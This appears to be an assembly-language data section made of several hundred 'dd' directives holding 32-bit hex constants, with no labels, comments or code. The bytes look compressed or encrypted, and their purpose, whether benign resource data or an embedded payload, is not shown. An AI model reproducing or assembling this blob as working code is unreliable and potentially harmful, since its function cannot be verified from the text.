dd 0BC20894Ch, 0C8008CF3h, 0FA43CD05h, 1296CE1Eh, 20CA04B4h
dd 7E7C1BE4h, 2245348h, 72C9249Fh, 0E2444047h, 3C082C6Ah
dd 526CA638h, 4656285Ch, 0E82F00EDh, 82A29BECh, 0EE70C144h
dd 441E0FB0h, 40081ACh, 16243DBCh, 6005F90Ah, 748BD140h
dd 64C12BC8h, 472A7C2Eh, 8562F0D0h, 0A008A887h, 134DDBh
dd 180BB008h, 5BF99B78h, 0E7469898h, 97098848h, 58465EC4h
dd 407B5544h, 34FE7E62h, 0B4227C4Bh, 9BAA3086h, 25268212h
dd 0B86AA007h, 98140D84h, 133B5E10h, 6824C304h, 0F26A08Ch
dd 866CB58Ah, 8EEDA3C2h, 76CF4F60h, 0E5A85C27h, 6028E4E4h
dd 1C71419Ah, 5E30E722h, 2E5B4907h, 1823E819h, 0D86E88EDh
dd 28274F34h, 136744C0h, 0E88B263h, 9399739Ah, 4B0EE562h
dd 0F12E84A3h, 70268FF8h, 380BC200h, 0C7AEFE1Fh, 0CADD0E39h
dd 0E9EB05CBh, 6E91C81Bh, 0C6B10103h, 27001429h, 50207674h
dd 0E97CEA36h, 0F488624Eh, 0E47501A8h, 1BAB0E71h, 0C81DC0FCh
dd 0AFF6F472h, 0E8FBAE26h, 74164676h, 416F7400h, 83215D3Ah
dd 49849886h, 6A079CCEh, 25F505C0h, 0E04CB645h, 0FF3E553h
dd 7C05D4CEh, 88928454h, 204317Ch, 0B86889B4h, 0F3CFCBC0h
dd 63FE12ACh, 71900585h, 88AD4Dh, 229C8C6Ch, 0E2C421h
dd 8FF5315Ah, 0ACE8188Ah, 8306403Dh, 5C9977C7h, 26AAC943h
dd 2144820h, 72AE730Bh, 38582194h, 179A2E44h, 1865F84h
dd 0EE9D2D0Ah, 7482D07Fh, 0D7C59001h, 6DA22F96h, 2DFFE442h
dd 23A43460h, 5940D182h, 0D51829h, 0F6DD3C8Bh, 5B4664A9h
dd 8EB4130Bh, 0E47C384Dh, 4A6B0095h, 0A02A9C54h, 963F925Fh
dd 3E2779C7h, 0C208216Ah, 9C3D18B7h, 41499205h, 6FDEC137h
dd 0F5E040B3h, 0A8482E1Bh, 338DA080h, 0FCCA4830h, 648B6313h
dd 129C0C88h, 0B003AFE9h, 649FC9B4h, 7B680093h, 11E6FBFh
dd 460070FDh, 0A4FB51E6h, 169DFACAh, 1F314A39h, 802E9E7Ah
dd 32C008E3h, 510391EBh, 697298FCh, 606BA2E9h, 3667CE3h
dd 5DE36508h, 0AC04490h, 76F88B47h, 6E841000h, 0F970C545h
dd 75A84808h, 4792F41Fh, 100C680Eh, 0FBC6379Ah, 679D220Fh
dd 0FE0A6CFCh, 80E53905h, 823E1F87h, 0A86149E4h, 0FE14E057h
dd 8C2F544Eh, 0F02D2A23h, 938F0435h, 82378A65h, 4E10E970h
dd 0BC209D92h, 0B5CAF7Ah, 0CC404F4Ah, 0E8DA1863h, 0BB5F001Ch
dd 0CE2EED3Ch, 5B00A936h, 10FA847Ch, 0BAC767Dh, 67982902h
dd 0C4A14464h, 0FEE11831h, 0E99B2699h, 0F0507188h, 2101E7C0h
dd 2A189420h, 463A0EFEh, 0CA3FD2BCh, 65C00126h, 392CC70Ch
dd 68A09DFBh, 0BB537351h, 0DA344800h, 6F881FDh, 0EE6C019Bh
dd 0B6D5E021h, 0BC083CDBh, 401C8C2Ch, 0D93A8346h, 608C9218h
dd 42A20AFh, 0BB918A24h, 44A6F20Fh, 14A9D00Eh, 0CC01ACACh
dd 0B69F7FBCh, 0CFE1F7A5h, 2DF20022h, 0DC55D833h, 8BA74F65h
dd 0C026C8B0h, 0B8B1698Dh, 4E7720Bh, 0D850CBCEh, 0B645682Eh
dd 41F54468h, 10DBC598h, 0FCB8D47Dh, 61C2801h, 8A0AF3FAh
dd 126D96C8h, 0DCD7D8h, 0A6BCCD2Ch, 8C9C9F42h, 0E4BB1084h
dd 0D52758A8h, 2EE45CE5h, 587E3962h, 0B9044540h, 2B1F05F5h
dd 214DF65Bh, 0D80221F4h, 0D8036518h, 0AF97C5B1h, 44B9FEBh
dd 0ACE292B8h, 5B305AF2h, 4FDA480Ch, 7EF8FF00h, 0C92C17F4h
dd 48058A4Bh, 0C4C69378h, 2E220BB1h, 0D4AF547Dh, 1CF1A249h
dd 0C288003Ah, 0C4B9F3D2h, 7A3E0E82h, 0B120ABF6h, 5B3013FBh
dd 683CC200h, 4EA573EBh, 0D93328D0h, 99F098ACh, 182BF114h
dd 0E424006Eh, 0AEC2F84Bh, 12505882h, 6209CBC8h, 0C6912FE9h
dd 0AF08DFD8h, 0A8D0146Bh, 80002AC7h, 0D8C6E3BEh, 582360h
dd 0DAFF56Eh, 686778EFh, 516439CCh, 9A081805h, 5CA00893h
dd 7C0120D6h, 45692E62h, 0E16C5B10h, 0F0D2367Dh, 0ECC8848Bh
dd 0ACC30AC0h, 0E9525F3h, 40CC60A7h, 19B64294h, 0F6D00600h
dd 960B730Fh, 7F68071Dh, 47C4A137h, 0D2DEA1E7h, 82B2FCFCh
dd 35444E09h, 0C008EDFEh, 9D32223Ah, 0C7081900h, 0F5F06E2Bh
dd 4C0E3065h, 8869D329h, 7052D401h, 14B4DD22h, 0B415420h
dd 18A3F758h, 3D1F9420h, 5258F28Ch, 44034BE4h, 0ECC8EF23h
dd 4ADC2CA0h, 0FFB8907Ah, 0A912A006h, 0D8A24D95h, 0E682360Bh
dd 905AEC29h, 58C46C85h, 571C1060h, 0BCDD8000h, 81BF3D40h
dd 0D3774F05h, 10E30460h, 96727901h, 0D6C3B0EDh, 4A0A5C20h
dd 0C878CB97h, 1478C1ECh, 9F41C4A8h, 0C6974A12h, 17EF8A0h
dd 0FC625F45h, 921B01A6h, 0D8CCC880h, 6800E926h, 0DB5927C0h
dd 0E09C5678h, 192527Eh, 9766B224h, 529BB06Dh, 7C6AF6C0h
dd 584CFC5Ah, 8C26E8A8h, 0B5831704h, 1CB9FBEBh, 28A3C700h
dd 45A85FDFh, 38384379h, 9C3524D1h, 0D6CF3C60h, 9A88A059h
dd 0FB3F2DB0h, 0C0BD24E8h, 0DBCC1E1Fh, 6B9B9C07h, 1CC20105h
dd 0ACB20FCh, 0BE09425Bh, 0C5AD65C1h, 67EBE49Ch, 0F9B86E33h
dd 807CE8D7h, 1018C4C0h, 5C005058h, 646F980Fh, 57706D9h
dd 92891C26h, 194A29Fh, 1AA1DEBCh, 0BC38C2F3h, 0C48439C5h
dd 0CEE4161Ah, 6DB10D0h, 23BC2E93h, 0C9A60024h, 7144FD55h
dd 0E3C5102h, 80C604B1h, 4E8A9B40h, 0A62F8146h, 794B8470h
dd 0E99F00C4h, 74360ACAh, 1D01B57Ch, 52E63039h, 6ECCB9F2h
dd 883E5E3Fh, 8500BA2Ch, 9E67E478h, 10D90DCh, 3E80D797h
dd 0C91AFED4h, 27F4323Ah, 66C20FDh, 58A7F6h, 0DCA914B1h
dd 177D9B2Dh, 0C0B69A78h, 3CECBD81h, 7C0893D4h, 3AC57E5Ch
dd 311E027Dh, 7997DF75h, 185EF194h, 427C04A0h, 0F2F02A32h
dd 0B1AF0010h, 0D40C38ACh, 9E88F675h, 5A46D484h, 0BADFB603h
dd 0ADB078A0h, 0AC266D4Bh, 0FD11385Bh, 76038604h, 9B72C00Ah
dd 4E51A6AAh, 54226ED4h, 29A3090h, 0A3B05811h, 0BC802C88h
dd 55AF0232h, 36E404F7h, 0B8FE1444h, 92CC805Ch, 8CB71h
dd 0ADEF8E0h, 7A87A742h, 0E8D17035h, 5AF220A2h, 2EFA430h
dd 7DB8D61Ch, 0DA80EDAEh, 0F696C124h, 0A74FEC90h, 3E541020h
dd 0CA500F2h, 6A3A203Ch, 5FEE5047h, 0DA0E0B79h, 51B3058Bh
dd 0C448C04Ch, 72C0304h, 938E2AFh, 51CFA293h, 182C7168h
dd 6F040B87h, 0F4A1DFC0h, 6652447Eh, 3353A22Ch, 763D26C8h
dd 0CFC45606h, 4FF8654Ah, 0B644177Ah, 3676B160h, 0C57B2DCh
dd 440EA0D0h, 0C4013E71h, 0C0A708Dh, 6C0E169h, 228917Ah
dd 883C86Eh, 625AE0DAh, 182FC017h, 0E00F323h, 0C2A04036h
dd 0E47D0053h, 0C12A9FF9h, 9D805756h, 74010267h, 3D5C7306h
dd 9B5FC4E0h, 58D4DA52h
dd 2FFB12FCh, 41DB98A4h, 5BC0F0CBh, 95A90F60h, 31AFC405h
dd 50585EDAh, 2C173A30h, 2381ACDBh, 7C61D4C6h, 0F90F1250h
dd 0A6373C80h, 4DE928CAh, 0BC9A0550h, 0C06FA2E7h, 95778338h
dd 81294E04h, 0F4A823B8h, 57CB1201h, 533A9FCAh, 40093DECh
dd 0E1A27A99h, 5082BDA8h, 2588723Eh, 0F55B8480h, 0BF088Ah
dd 0E5C06AF0h, 45050BBDh, 6884B462h, 0F58B0188h, 0F464EAAAh
dd 81B880h, 0CB5BA698h, 306B7853h, 54B6A5F0h, 53465Eh
dd 1CE88C3h, 90CFC8BDh, 5C3DBD49h, 0B9D12200h, 42F80C7h
dd 3472A7F8h, 0CEFCA884h, 0C50106Ah, 0B7E098F1h, 87F09C10h
dd 1FBA8214h, 706E5B98h, 53CDC00h, 8508E4D2h, 13FB8A3Fh
dd 18F034BBh, 7805887Ah, 0FEF0A09Dh, 6432AF3Ch, 0A25B9807h
dd 0A49C00ACh, 0D7AD6613h, 8ABF007Ah, 2872515Dh, 0DD014C2Eh
dd 0E5E7830h, 0A431F607h, 236C2F2Eh, 8C97005Ah, 0BFF5A4B3h
dd 60E71F25h, 1B74030h, 4A4191F3h, 3D7D055Ch, 630E3F94h
dd 0E8CDBF41h, 0D3CAD743h, 0E7D808D9h, 0B9441580h, 904FEB68h
dd 3CC94C3Eh, 16E80E10h, 2CC8FC7Fh, 67D88B22h, 2E00E99Bh
dd 73DAF694h, 0EF04DDh, 0A4B20DFBh, 0C38A7D7Ch, 82123CF8h
dd 641D0638h, 0EC648CA6h, 9AC29E67h, 809C66C4h, 426F8000h
dd 11E9E6Dh, 495E248h, 0EDC86A8Fh, 0F8C886F2h, 2706FD44h
dd 0E881EFD8h, 228A16F5h, 30EDF2FCh, 9BFE4928h, 0C0968227h
dd 4EB856D0h, 998CC097h, 47585BE1h, 0A20048E4h, 807A0271h
dd 0C4838C7Ch, 5077509Fh, 41D5D818h, 7D91F0A2h, 50E441C1h
dd 6E3BD1FBh, 0BEE338FCh, 0B0260225h, 8A325CBAh, 4674F4B8h
dd 4DC3950h, 2DAEAC1Bh, 409FB082h, 805CC208h, 60376B30h
dd 72976024h, 0C54882A9h, 0A44301A9h, 98003ECEh, 3F995B6Fh
dd 0C24202D5h, 625C5410h, 9E13845Eh, 94B95CD4h, 9644B4D2h
dd 2DCC9858h, 85A81041h, 39900053h, 9B4802DAh, 12884FFEh
dd 5CD213B0h, 0FB984B23h, 2E0B8DAh, 43EC1C04h, 20BBC75Fh
dd 5178564Ch, 2F6C2E00h, 0A0260C2Dh, 67C40084h, 0EC4D03F4h
dd 831EFF7Eh, 3FD5A296h, 0BCDA0834h, 9FC80233h, 0EC8172F4h
dd 2F586B10h, 0C12C8001h, 0B00056BEh, 721C3C9Fh, 5988310h
dd 20B7C420h, 980BFCAEh, 2E5FC0BCh, 97D12B60h, 802B91D4h
dd 63133D81h, 0E32E04FEh, 884E72CDh, 0B939DB88h, 0C474001Ch
dd 81D27E7Ch, 28765C73h, 60D15E05h, 0F230B26Bh, 7DE2302Fh
dd 0B6039500h, 4CBAAED3h, 0B0C9230h, 90D2450Bh, 0D84008E2h
dd 7821577Ah, 1859D904h, 0ACA23C24h, 1737B400h, 40DAA444h
dd 9D501948h, 4F2759D0h, 33CCBCC8h, 0B7671E00h, 0C953277Ah
dd 1C4EEED0h, 809747EAh, 986AF0BFh, 795D0B13h, 0D5B8ACh
dd 55AA94D6h, 0B39FE06Fh, 591B2300h, 0A6E56299h, 1897583Ch
dd 99755086h, 4843795h, 0DB9ACE45h, 6B5E113Ch, 193C8202h
dd 0EA02FDFAh, 8AD4DCF0h, 260C1150h, 16CB0017h, 2589E379h
dd 4D65F903h, 3E64F399h, 91103618h, 0D7D40E34h, 0E966177h
dd 1CE05FF6h, 51DA00F4h, 0CE5E874Fh, 0A8447195h, 0DCE3070Ah
dd 1041D731h, 72CE5904h, 2C3A14F8h, 3C40611Bh, 9170A0CDh
dd 0D0430CB0h, 2608B89Dh, 0C55721C0h, 76072CA0h, 0A1510090h
dd 0C0CE58F7h, 0E00315ACh, 41E2DB2Ah, 0B0A00A19h, 3C4CF78Fh
dd 606675F4h, 763F1161h, 0D603CEDBh, 0DEF838A0h, 53083090h
dd 0DB7E2521h, 6076CA39h, 0FF6B5F10h, 12B10037h, 0DEFEC3A4h
dd 0E530FD10h, 0A9D521CEh, 94525007h, 3EB00194h, 8EBA469Dh
dd 53FED4C3h, 5EF8D803h, 0CD21161h, 0E11B7DB8h, 85011071h
dd 4B14C66Ah, 0AECCD860h, 1AE9039Dh, 0F8770F7Ah, 5F5C2900h
dd 0FC60F05Bh, 29730175h, 0E2FD5984h, 4B89807Fh, 7860AC63h
dd 0D9101D38h, 0F3F100A3h, 0D8C620F0h, 793C9B1Eh, 0B41BB84Ah
dd 0A81BF41Dh, 97728008h, 795D1B17h, 55A0300Ch, 0D80068D3h
dd 0F8D7533Fh, 98D2D9h, 42CCF434h, 5B2CF2F1h, 2278B21Bh
dd 435FF011h, 2C7717Fh, 184B5CF8h, 0B0836176h, 62B00D10h
dd 120E08CBh, 6030F414h, 176D23F5h, 9A791FFFh, 0F82A2Ch
dd 3137874Eh, 0EF4A0B55h, 0E8F552h, 3B52C374h, 5B0E6Bh
dd 8AFF44DEh, 0AD42369Dh, 0CB2DA8A9h, 0E6794900h, 4FA524F7h
dd 0AD030196h, 624E47E1h, 8EBACD9Ch, 90C87630h, 0FFBDE700h
dd 1967DCCDh, 3D9AAE00h, 767C8954h, 0DE920073h, 0C72E79ABh
dd 0DF0046BFh, 0FB6CEB27h, 527F0F89h, 4E18D458h, 0A2CA811Ah
dd 3D1FDE00h, 0FB17021h, 29636178h, 71EA5505h, 6DEFD089h
dd 5A0C210Bh, 0E1A20094h, 2541493h, 0CEDCCAFAh, 80A1FCF5h
dd 0FCDAA739h, 311316EBh, 0E11E71B5h, 861E4E00h, 205229Dh
dd 0E09B92A7h, 10411D2Ch, 2C0015BAh, 0F533B121h, 8051DDDFh
dd 0ABE64323h, 240395E4h, 0AFA571C8h, 4D74F8BCh, 8FC1F173h
dd 722D1E20h, 0EFD8A081h, 8297002Fh, 3D4588AAh, 8E00A752h
dd 1C68A14Eh, 73571D9h, 0A8B69F07h, 0D1A6C0EEh, 1700B1D0h
dd 0A9B5A7DCh, 0C6ADA127h, 29780620h, 72703F00h, 0B5B0CDE7h
dd 0A036005Ah, 59EF9EF4h, 8820EA1Dh, 0D32D264Dh, 0A66E0333h
dd 49089D30h, 3C811CA1h, 0EF74AF0Dh, 0E913DC18h, 7700C575h
dd 33A9DF5Dh, 37434E8h, 10921F68h, 0CDF86ADCh, 0AF7324BDh
dd 7B99E400h, 0B1623402h, 0EA282FC6h, 8A1ECB00h, 3D010D21h
dd 0C56D8873h, 0D0EF4037h, 6175236h, 0C75EA4Ah, 0AC60D1A1h
dd 18B4E470h, 0FAB800E9h, 902B97BFh, 34000A99h, 360F4A66h
dd 3273B341h, 0C339A92Eh, 5134B380h, 0F106FADFh, 991DA6ADh
dd 119403E9h, 7C0C2493h, 0A0383100h, 16ECFAFDh, 0C9E500D0h
dd 0A6619247h, 0AC002C51h, 0E185376Ch, 0C3A70F3Fh, 74B2C150h
dd 94F8CFFBh, 96000C33h, 431EEE8Ah, 71D9DE10h, 0FC407BFh
dd 0B43E4Bh, 0C1D8EA11h, 0EE00C571h, 285EB1A1h, 0FA5C739Dh
dd 0E2E35C99h, 0A8F0E407h, 684F7F29h, 0B0640356h, 18C6E523h
dd 859DA338h, 5F5BA991h, 0B0D5206Ch, 2440C1D1h, 0D09FDFBEh
dd 0AC009E7Eh, 17D29CE4h, 3EECDB60h, 8E0727A3h, 7096B852h
dd 2BA5D65Ah, 90ADAA04h, 84399FDEh, 5693B481h, 24941410h
dd 0B75DE907h, 8980DFECh, 646D556Eh, 1000AF7Fh, 2197DD20h
dd 5B2DA0Eh, 0AD60CFA0h, 83458ACh, 80A0E05Fh, 1AE7C3C9h
dd 0B9F8A0D0h, 0C2B78000h, 650D669Fh, 0C8DA0017h, 0A9D97BB6h
dd 0A7079C26h, 0BE9E1B52h, 982504E0h, 78DF00C5h, 54CDC8B0h
dd 1D0BEBFEh, 8086A7B8h, 3024BE76h, 8C29C823h, 2BEE7242h
dd 6D296A0Ch, 4291FE20h, 0EA447CA0h, 48E244AEh, 0B4511C64h
dd 11ED1A21h, 4B13E3CAh, 0C84229DEh, 21DEB311h, 1BF20896h
dd 3500DC91h, 4CAD8647h, 0D70573EFh, 63CE5ABEh, 967E5B81h
dd 0B1B7FCh, 2FF14A87h, 8D32093Fh, 0A8BB2E00h, 92D4DC5Ch
dd 3E70E9h, 7E552A67h, 0F951442Ch, 52BAC807h, 0D05060BEh
dd 2D2218h, 1E3F09AAh, 3203403Eh, 0BA048300h, 2CCB959Dh
dd 93870201h, 43020961h, 0C28CEEC0h, 483BFC05h, 0BF00CB29h
dd 47A1450Eh, 33BB0281h, 0B2BC5CB3h, 2A913FE0h, 20440200h
dd 9F55630Eh, 48A600D6h, 3ED1F6E3h, 0D33F1E6Ch, 0E2432E38h
dd 0D05E4200h, 0F1E6DFh, 0DBCE9139h, 0B53E485Fh, 98CDD800h
dd 1121052Bh, 0C3D90062h, 7F7A9996h, 3E03BA36h, 0C242A1EAh
dd 5728F09Ch, 21FE615h, 7EAC48B7h, 7E6021C4h, 0D8FB5241h
dd 0E000322h, 9C67E704h
dd 0EB49FAh, 0BACB5A1Bh, 923201A5h, 0C3BB9000h, 0ED5DBE9Fh
dd 2C7758E9h, 0CE2F6C00h, 0F106E0A4h, 9B321600h, 0DB1D8AEAh
dd 16657BD0h, 1E935F3h, 0D750D406h, 6D09FC1Fh, 54010DEEh
dd 0B15BBBB6h, 5030BE67h, 7087007Dh, 7434AFEh, 0E7006930h
dd 9DE480F3h, 0FC60673Ah, 7F97186h, 375E4381h, 0B0C2972Dh
dd 0C7680B88h, 59A73000h, 31208589h, 18E7FE06h, 10512FD3h
dd 21084AC9h, 952CD96h, 4300429Ah, 0B09A465h, 0F95FAD07h
dd 35C1B48Fh, 2FE48267h, 0D19F1E66h, 0F5924290h, 8484C4A5h
dd 0E4EA0040h, 8ED3E0h, 41FC253Ch, 8BC2C79Ch, 0CC2B100Eh
dd 920A40E2h, 5EDC11h, 0A58D30BCh, 0DBB64533h, 282E93FCh
dd 8A0076FFh, 40FBE4F5h, 73790037h, 5A0FAEEEh, 62007A28h
dd 359CE72Dh, 1CC08C7h, 0E08B892Bh, 20DD98BFh, 41075E9Bh
dd 452C3880h, 7A08B5F0h, 0B3740758h, 10064056h, 5A078AEBh
dd 0B0B7F900h, 711DB486h, 92FF00D3h, 0D8CD7BFBh, 0C160FEB8h
dd 0AD8F89F8h, 335E3971h, 2FDDF080h, 6EE9AA62h, 0D0ED4707h
dd 0A17502Ah, 1BBCE1E0h, 0F77733Bh, 0F7BF8E04h, 303680C0h
dd 0EE142E3Ah, 24F0CB48h, 0A20080DCh, 95BC0774h, 0B2A50786h
dd 9015BE1Bh, 0B9BF4FAFh, 0C952DF01h, 40115497h, 7C433D70h
dd 0FCCD00B0h, 28A7919Ah, 98B0820Dh, 0E8460424h, 9D569000h
dd 0FC755BEh, 0AB41F237h, 129584C0h, 0CDFC1A10h, 0A692203h
dd 0AF714651h, 40EC1C02h, 143C2h, 2F1A3BBBh, 0B959B87Dh
dd 85075100h, 32BC8928h, 0C84A00A6h, 0C4E11F2h, 0B2001F7Dh
dd 4569A168h, 0E6F8281Bh, 26BB03FFh, 0BF4AD5F6h, 6C8ADFF0h
dd 5AA62C01h, 312D3280h, 82C48CF9h, 96640F99h, 0C009B1FAh
dd 0AAA62801h, 0F4E3D693h, 19E826F0h, 0C4A02A71h, 0DAA212A3h
dd 0F3EB7640h, 0B3182861h, 3EDCC786h, 98110075h, 88E09597h
dd 82003339h, 8038ED06h, 16CBA1h, 18FCBBB2h, 53D24D24h
dd 601C44E0h, 87B9CF28h, 99045C84h, 3BCE4EC0h, 83590FECh
dd 0A202438h, 1C2AF018h, 0A7B67200h, 7FCED499h, 76F600BCh
dd 6707DF0Eh, 8200C913h, 0F7EE4AE2h, 1D4FEB9h, 124C79ADh
dd 21640D71h, 68E8803Bh, 0B168AF4h, 0CFC3078Eh, 6F93A3B6h
dd 5B1E9A1h, 0D5C1DCD4h, 0DF00F27Fh, 1513322Bh, 7DA3425Fh
dd 6C8600C2h, 783116F3h, 0CF031703h, 8F22498Ch, 873DE806h
dd 7C59006Eh, 57CE5C09h, 0AA3AA5C0h, 80B6B827h, 0ABE47B68h
dd 2E831D4Eh, 1A524BDh, 94180D86h, 70D8D7D6h, 0A726B3FFh
dd 3F50745Bh, 399A09BAh, 4CA05669h, 85CDCBD5h, 0D0FCDB01h
dd 0FF1AA197h, 9E580EEh, 737F0E9h, 0A4FB2E39h, 0D0E6724Bh
dd 29679060h, 0DCEEBC00h, 0FA04DA94h, 0AEDF0037h, 0B377BE89h
dd 381D2F76h, 414B704Ah, 9D540032h, 4ED31Bh, 0FE862D4h
dd 0BA0B5D94h, 16FC0618h, 13A7C84h, 73957836h, 0DCDDE2E9h
dd 0D90057B2h, 6F9F5988h, 777FB30h, 390D8797h, 5313E071h
dd 0C101B4F2h, 3031CFFEh, 3880CB22h, 46FB61A0h, 900342CCh
dd 8CED51C6h, 0DB5AF039h, 3CD0EF63h, 3F70335h, 9F74AC0Fh
dd 0F440C5C2h, 0E21F1CD0h, 10806876h, 0A779BAE0h, 19D307CFh
dd 0C063B3DBh, 953EE24Eh, 2D0078F4h, 5D6BE104h, 1C37674h
dd 0B3CDB18Bh, 0D8162124h, 3F40E08Ah, 0B91A2C5Ch, 46AB40DCh
dd 0BF0A5F8Fh, 81BA9EB1h, 0D1910Bh, 0AB868A08h, 24714Fh
dd 0E307CA9Ch, 96BF173Fh, 0E71C3075h, 1D815BD8h, 50A9E203h
dd 7200FC62h, 0FEEC9B9Ch, 101E68Ch, 4C90D9A1h, 11E4855Dh
dd 0A33E0C3Fh, 41C9F1B8h, 0E063Ah, 0BF7ABDBBh, 732E7B7h
dd 0E072D85Fh, 783CA1A1h, 6BD83580h, 5AC2A0h, 0F42D1092h
dd 7FFD26Ch, 82F79400h, 84DCBC6Dh, 0CAE600A2h, 5ADFBBEAh
dd 48E40670h, 0CC6F0400h, 0BF16336Bh, 855F12C5h, 0B4AC0EC6h
dd 63B2DF40h, 1800843Ah, 0EDC987D1h, 0A09298C0h, 0A2F48Fh
dd 0AEFC6DEh, 0E06757D9h, 77662900h, 9FF97410h, 0B0CD48C5h
dd 99FB726h, 0AC0047EDh, 0F181A9B2h, 0D872B803h, 0E0B3C2FFh
dd 1D5E3887h, 8021ED62h, 9971856Ch, 0ACB0A8C9h, 5BBE4400h
dd 3B35D10Dh, 0F2050013h, 770FB76Eh, 5C724333h, 783AB500h
dd 0B97B91E9h, 7E7E0ADh, 729D8B76h, 0C01C857Fh, 12EB2F26h
dd 0E10B85Ch, 601D4644h, 95B3A038h, 76F20091h, 0A434019h
dd 92003DEBh, 5A3EF7E5h, 15D1D11h, 2D5EF62Bh, 0C8ABE7FBh
dd 40001F4Ah, 3B28EEB2h, 495B5Ch, 0A0D882EAh, 358B8ADAh
dd 0BCFB4Dh, 4DAA2FC0h, 0D602DDh, 656F0E2Eh, 2B8A327Fh
dd 7C1C912Ch, 0F817201h, 0F0C78724h, 0E6DFA6A9h, 7EDC120Dh
dd 79C80074h, 2581B035h, 19D26D00h, 89662348h, 0F2551F75h
dd 45030078h, 0C11CB0C5h, 9DEBC00h, 0E66AEC21h, 1E74F3h
dd 38E8324h, 0EC15C41h, 0EB9AB900h, 9F26267h, 0F3151D66h
dd 9B5181DEh, 0FA7B7E42h, 1F6FB160h, 0EA961402h, 40C13943h
dd 0EB3A814h, 4E4B56CBh, 63F50E00h, 0E400F1D2h, 1245EEB4h
dd 113FE54h, 0ED1E03B1h, 2B554873h, 5B5B0h, 0F9ABC980h
dd 49C572D7h, 48D7E29Fh, 39B5C6C0h, 0EC80A1FDh, 65706BA8h
dd 0AC095F9Eh, 80AFF1D6h, 0B70964A5h, 486C2E22h, 9ECD0094h
dd 0F6C4CC1Bh, 6936CA00h, 9F80095Dh, 0AC0C0992h, 5200D15Fh
dd 0FCA5A282h, 2A540118h, 1C90D310h, 805B041Ch, 0A57DBDF2h
dd 8E2468E8h, 0BC00D114h, 0D1DB7F86h, 2E1DF619h, 4E06F46h
dd 3C75D5Fh, 80B1377Ah, 0BF2FA4h, 0C2211E8Dh, 0BB11CA2Dh
dd 93096100h, 0B1F995AEh, 8A1F05F2h, 80368937h, 5BC0F7AAh
dd 9A4727h, 0EC73A7ACh, 0BBE1487Bh, 9588127Ah, 4C108060h
dd 69017D0Bh, 72261B12h, 32205330h, 83D1A06Bh, 34545C05h
dd 0BC632E00h, 1EACF982h, 5A4C4D00h, 317950C7h, 2CB011h
dd 0D3214247h, 0C6A89899h, 0D416D200h, 8953F222h, 0B849C043h
dd 7902A9F6h, 0FAC52E06h, 0F6189772h, 8B07059Dh, 0C0F3F73Bh
dd 0BDAA4972h, 73CE9506h, 17984497h, 3D2733h, 6FF6BABFh
dd 35007DB8h, 0DA343699h, 71B44A7Ch, 17493951h, 94A728h
dd 0D9FE14D5h, 0CAB0295Bh, 4E00CDEEh, 0AB4DC134h, 61E8C3h
dd 0F4277B2Ch, 43BFEBD1h, 6E88035Ch, 41548728h, 2C00534Eh
dd 508F878Ch, 0AF140E0Ah, 708F0E88h, 0FA565961h, 30D8808Dh
dd 63833591h, 0D39301C5h, 0D7C3927Fh, 0CCB4C44Fh, 8530743Fh
dd 0CA849C8Dh, 0D318D000h, 0B0EE49h, 0C3F80577h, 1A06326Eh
dd 0CB232800h, 0FD95C7ABh, 0DD9027h, 694C5713h, 0F8BC84C2h
dd 0D5308800h, 496C3A15h, 42B90B4Eh, 48010898h, 60015244h
dd 0C0008373h, 9E85FB3Ah, 201D19h, 0D38C4DF0h, 2128F95Ch
dd 31E4590Ah, 0B828B416h, 8473E300h, 3B3F43DDh, 1E1A041Bh
dd 0C02D67F2h, 7A19B40h, 20487100h, 0F54AAEA0h, 20CF5C77h
dd 89099400h, 25D601C8h, 0B46A9902h, 608267F6h, 15F73Eh
dd 142D6147h, 190507E0h, 0FA919004h, 38A0533Bh, 2D09072Ch
dd 0C0E3C8AFh, 0B0EA3AB4h, 0A2F15600h, 636AF513h, 892B00C7h
dd 0DD0A59D8h, 340C4A7Eh, 18C474D6h, 3A140228h, 0B85291FCh
dd 9CCE5040h, 0C3E0DF18h, 0D75A20h, 610AF1C0h, 6EE8713Fh
dd 8E949E3Fh, 20A9E516h, 0D0A7C19Fh, 1BD700C4h, 0DFF56A3Bh
dd 100A421h, 0DC8DE169h, 0CA1D63h, 312CB135h, 1C66EAA0h
dd 8E620800h, 3F2B718Ch, 0EF450538h, 80CC031Bh, 0E660D75Ah
dd 8C39A000h, 0FB7A2781h
dd 0A840034h, 1922A99Fh, 0CC9CEE9Dh, 788E0038h, 6399122Fh
dd 0BEDD281Ah, 880C2C90h, 95A180A0h, 0AE3C9DB0h, 705025Ch
dd 9FB7EB1Ch, 0D881B630h, 2E513C12h, 7FC0C607h, 311AB0AFh
dd 72006778h, 0E8D5A43Dh, 988A90D4h, 0D80A0094h, 0F1A6A869h
dd 4A5C4D44h, 0F3DFCh, 9C59FB52h, 0F737533Ch, 503082Ch
dd 68DA8CB3h, 80A22038h, 463AF9FFh, 61946Ah, 624E92E3h
dd 8126E9B2h, 0F0EE3912h, 64903480h, 0A81E380Fh, 5C82D680h
dd 938588BCh, 9B5FB205h, 0D88090C4h, 3F729151h, 6E8F87F6h
dd 1D03D812h, 4DF8B792h, 0DF90F48Bh, 19B69700h, 7E287939h
dd 9D550011h, 332B86A6h, 64036B5Ch, 2566487Dh, 366DC05Bh
dd 0EAAB006Ch, 37C2BFA0h, 1D001612h, 0B2708322h, 9DDB6Fh
dd 90C5A113h, 0C2672774h, 3D4809E6h, 63620034h, 0D14E59D7h
dd 742400D3h, 8538431h, 1600CB48h, 0A033F952h, 0F7234B8h
dd 69583AC6h, 0D6EA180h, 0C1673BAh, 7C40B567h, 0C2717064h
dd 0DDC90098h, 96E575A8h, 29006F7Ah, 0B7CFC165h, 199033h
dd 26677D80h, 0B6B8D137h, 2008679h, 5AAF704Bh, 0FA443BD5h
dd 808DFCFCh, 73003042h, 0CF884F87h, 80F3E8h, 6FBFC7Ch
dd 9C10978Ah, 0BCDE4600h, 0A75F17F5h, 0CECB00DAh, 9FB98CF6h
dd 1002394h, 0A6DD9189h, 3187E1Fh, 8E1C7334h, 0F6E05590h
dd 89003BD2h, 0CBFE1A23h, 3E58C61Bh, 5E01C9A5h, 0CE8264CCh
dd 2754F459h, 7861A41Dh, 1FF59840h, 0F4C2B9h, 912D02C3h
dd 651562ACh, 3E45F800h, 0B467FCB3h, 182985Dh, 13F5E22Ch
dd 7146E0AEh, 912AFC05h, 0B8E59E30h, 0AA5C98h, 3D99547Ah
dd 0AE23073Ah, 5830A001h, 0C64197A1h, 9AAC60h, 36351051h
dd 0C0A34C14h, 0DEF8F300h, 0C159C9Dh, 45FC0029h, 0C9D228C1h
dd 72D2F5Dh, 0A7500219h, 0DDC460BFh, 0EEA0336h, 569437EEh
